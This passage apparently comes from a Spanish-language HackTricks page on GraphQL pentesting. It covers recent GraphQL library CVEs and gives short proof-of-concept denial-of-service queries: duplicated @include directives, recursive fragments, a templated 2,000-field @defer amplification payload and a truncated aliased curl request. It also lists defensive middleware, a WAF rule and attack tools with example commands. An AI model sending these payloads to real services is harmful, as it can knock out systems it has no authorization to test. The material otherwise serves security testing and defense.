\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Vulnerabilidades recientes (2023-2025)
El ecosistema de GraphQL evoluciona muy rápido; durante los últimos dos años se divulgaron varios problemas críticos en las bibliotecas de servidor más usadas. Cuando encuentres un endpoint GraphQL, vale la pena realizar fingerprinting del engine (ver graphw00f) y comprobar la versión en ejecución frente a las vulnerabilidades abajo.
CVE-2024-47614 – async-graphql directive-overload DoS (Rust)
- Afectado: async-graphql < 7.0.10 (Rust)
- Causa raíz: ausencia de límite para las directivas duplicadas (p. ej. miles de
@include) que se expanden en un número exponencial de nodos de ejecución. - Impacto: una sola solicitud HTTP puede agotar CPU/RAM y bloquear el servicio.
- Solución/mitigación: actualizar ≥ 7.0.10 o llamar a
SchemaBuilder.limit_directives(); alternativamente filtrar solicitudes con una regla WAF como"@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF depth/complexity bypass
- Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Root cause: ExecutableNormalizedFields no fueron consideradas por la instrumentación
MaxQueryDepth/MaxQueryComplexity. Por lo tanto, los fragmentos recursivos eludían todos los límites. - Impact: DoS no autenticado contra pilas Java que incorporan graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – cadena de SSRF a RCE en WPGraphQL
- Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- Root cause: the
createMediaItemmutation accepted attacker-controlledfilePathURLs, allowing internal network access and file writes. - Impact: Editores/Autores autenticados podían alcanzar endpoints de metadatos o escribir archivos PHP para ejecución remota de código.
Abuso de entrega incremental: @defer / @stream
Desde 2023 la mayoría de servidores principales (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementaron las directivas de entrega incremental definidas por el GraphQL-over-HTTP WG. Every deferred patch is sent as a separate chunk, so the total response size becomes N + 1 (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical amplification DoS and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk.
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Mitigación: deshabilitar @defer/@stream en producción o aplicar max_patches, max_bytes acumulativos y tiempo de ejecución. Bibliotecas como graphql-armor (ver abajo) ya imponen valores por defecto sensatos.
Middleware defensivo (2024+)
| Proyecto | Notas |
|---|---|
| graphql-armor | middleware de validación Node/TypeScript publicado por Escape Tech. Implementa límites plug-and-play para la profundidad de consultas, recuentos de alias/campos/directivas, tokens y costo; compatible con Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
Inicio rápido:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor will now block overly deep, complex or directive-heavy queries, protecting against the CVEs above.
Tools
Vulnerability scanners
- https://github.com/dolevf/graphql-cop: Prueba configuraciones erróneas comunes de endpoints graphql
- https://github.com/assetnote/batchql: Script de auditoría de seguridad GraphQL con enfoque en ejecutar consultas y mutaciones GraphQL en lote.
- https://github.com/dolevf/graphw00f: Identifica la huella (fingerprint) del graphql en uso
- https://github.com/gsmith257-cyber/GraphCrawler: Toolkit que puede usarse para obtener esquemas y buscar datos sensibles, probar autorización, brute force de esquemas y encontrar rutas hacia un tipo dado.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Puede usarse standalone o como Burp extension: https://github.com/doyensec/inql.
- https://github.com/swisskyrepo/GraphQLmap: Puede usarse también como cliente CLI para automatizar ataques:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: Herramienta que lista las diferentes formas de alcanzar un tipo dado en un esquema GraphQL.
- https://github.com/doyensec/GQLSpection: El sucesor de los modos Standalone y CLI de InQL
- https://github.com/doyensec/inql: Burp extension o script en python para pruebas avanzadas de GraphQL. El Scanner es el núcleo de InQL v5.0, donde puedes analizar un endpoint GraphQL o un archivo de esquema de introspección local. Auto-genera todas las consultas y mutaciones posibles, organizándolas en una vista estructurada para tu análisis. El componente Attacker te permite ejecutar ataques GraphQL en lote, útil para evadir límites de tasa mal implementados:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: Intenta obtener el esquema incluso con la introspección deshabilitada usando la ayuda de algunas bases de datos Graphql que sugerirán nombres de mutaciones y parámetros.
Scripts to exploit common vulnerabilities
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Colección de scripts para explotar vulnerabilidades de denial-of-service en entornos graphql vulnerables.
Clients
- https://github.com/graphql/graphiql: Cliente GUI
- https://altair.sirmuel.design/: Cliente GUI
Automatic Tests
https://graphql-dashboard.herokuapp.com/
- Video que explica AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU
References
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


